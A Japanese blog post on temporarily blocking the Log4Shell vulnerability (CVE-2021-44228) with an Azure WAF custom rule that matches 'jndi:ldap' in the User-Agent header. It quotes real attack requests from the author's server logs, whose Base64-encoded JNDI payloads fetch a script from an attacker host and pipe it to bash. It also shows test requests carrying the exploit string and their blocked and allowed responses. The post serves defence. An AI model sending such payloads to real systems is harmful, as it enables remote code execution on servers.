はじめに
Azure でのlog4jの脆弱性(CVE-2021-44228)の対策のひとつです。
アップデートするのが良いと思いますが一時しのぎということで
Azure WAFでカスタムルールマネージドルールを設定して脆弱性の対策を行います。
(2021/12/16更新)
ここではAzure WAFなどサービスの利用方法については記述しません。
セキュリティの専門家ではないのでご了承ください。
今回サーバーのログに残っていたものです。
一部IPなど修正しています。
Base64の中はcurl {IP}|bash してます。つまりコマンド実行しようとしています。
45.153.xxx.xxx - - [10/Dec/2021:21:03:35 +0900] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://9f07e758d269.bingsearxxxxxx.com:39356/a}"
45.155.xxx.xxx - - [10/Dec/2021:22:00:41 +0900] "GET / HTTP/1.1" 301 531 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MCl8YmFzaA==}"
45.155.xxx.xxx - - [10/Dec/2021:23:40:59 +0900] "GET / HTTP/1.1" 301 5368 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [10/Dec/2021:23:41:02 +0900] "GET / HTTP/1.1" 200 35233 "https://13.78.xxx.xxx:443/" "${jndi:ldap://45.155.xxx.xxx3:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [11/Dec/2021:03:12:42 +0900] "GET / HTTP/1.1" 301 531 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MCl8YmFzaA==}"
45.155.xxx.xxx - - [11/Dec/2021:04:20:42 +0900] "GET / HTTP/1.1" 301 5368 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [11/Dec/2021:04:20:46 +0900] "GET / HTTP/1.1" 200 35240 "https://13.78.xxx.xxx:443/" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
[追加2021/12/15]
FrontDoorでは元々マネージドルールで対応できているようです。
944240 “Remote Command Execution”
# curl -ks -I https://fdlog4j.azurefd.net -H 'User-Agent: ${jndi:ldap://TESTURL}' HTTP/2 403 x-azure-ref: 0tW25YQAAAACD1AdpuBODQYOGiLvMlvurVFlPMDFFREdFMjMwOQBjNmUzMjgyMy02OGQxLTRjYzUtYmQ5My00NmYxODM5Y2JhZDE= date: Wed, 15 Dec 2021 04:23:17 GMT
[追加2021/12/16]
東日本リージョンにおいてもApplication Gatewayのマネージドルールでも対応されるようになったようです。
そのため下記のカスタムルールの設定は基本的に行わなくても良いです。
カスタムルールはもっと細かな対策を個々に行いたいときに設定してください。
# curl -ks -I https://20.1xx.xxx.41 -H 'User-Agent: ${jndi:ldap://TESTURL}' HTTP/1.1 403 Forbidden Server: Microsoft-Azure-Application-Gateway/v2 Date: Wed, 15 Dec 2021 16:40:54 GMT Content-Type: text/html Content-Length: 179 Connection: keep-alive
カスタムルール作成
今回の攻撃は、User-Agentにjndi:ldapという文字列が存在するため、これを検出防止します。
だたし、今後の出てくる情報によってさらにルールの追加が必要かもしれません。
カスタムルール:任意の名前
優先度:任意の優先度
一致の種類:文字列
一致変数:RequestHeaders
ヘッダー名:User-Agent
演算:次の値に一致する
演算子:次の値を含む
一致する値:jndi:ldap
以上のルールを適用します。
今回はApplication Gatewayに対してWAFを有効化して、本ブログのサーバーをバックエンドにしています。
確認
防止モード
# curl -ks -I https://level69.net -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/1.1 403 Forbidden
Server: Microsoft-Azure-Application-Gateway/v2
Date: Sat, 11 Dec 2021 07:55:13 GMT
Content-Type: text/html
Content-Length: 179
Connection: keep-alive
検出モード
# curl -ks -I https://level69.net -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/1.1 200 OK
Date: Sat, 11 Dec 2021 07:56:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
防止モードではApplication Gatewayが拒否していることが分かります。
おわりに
log4jの脆弱性(CVE-2021-44228)の対策はアップデートを推奨しますが、
既存の環境で対策を一時的に行いたいなどの場合にはWAFを利用するのも有効だと思います。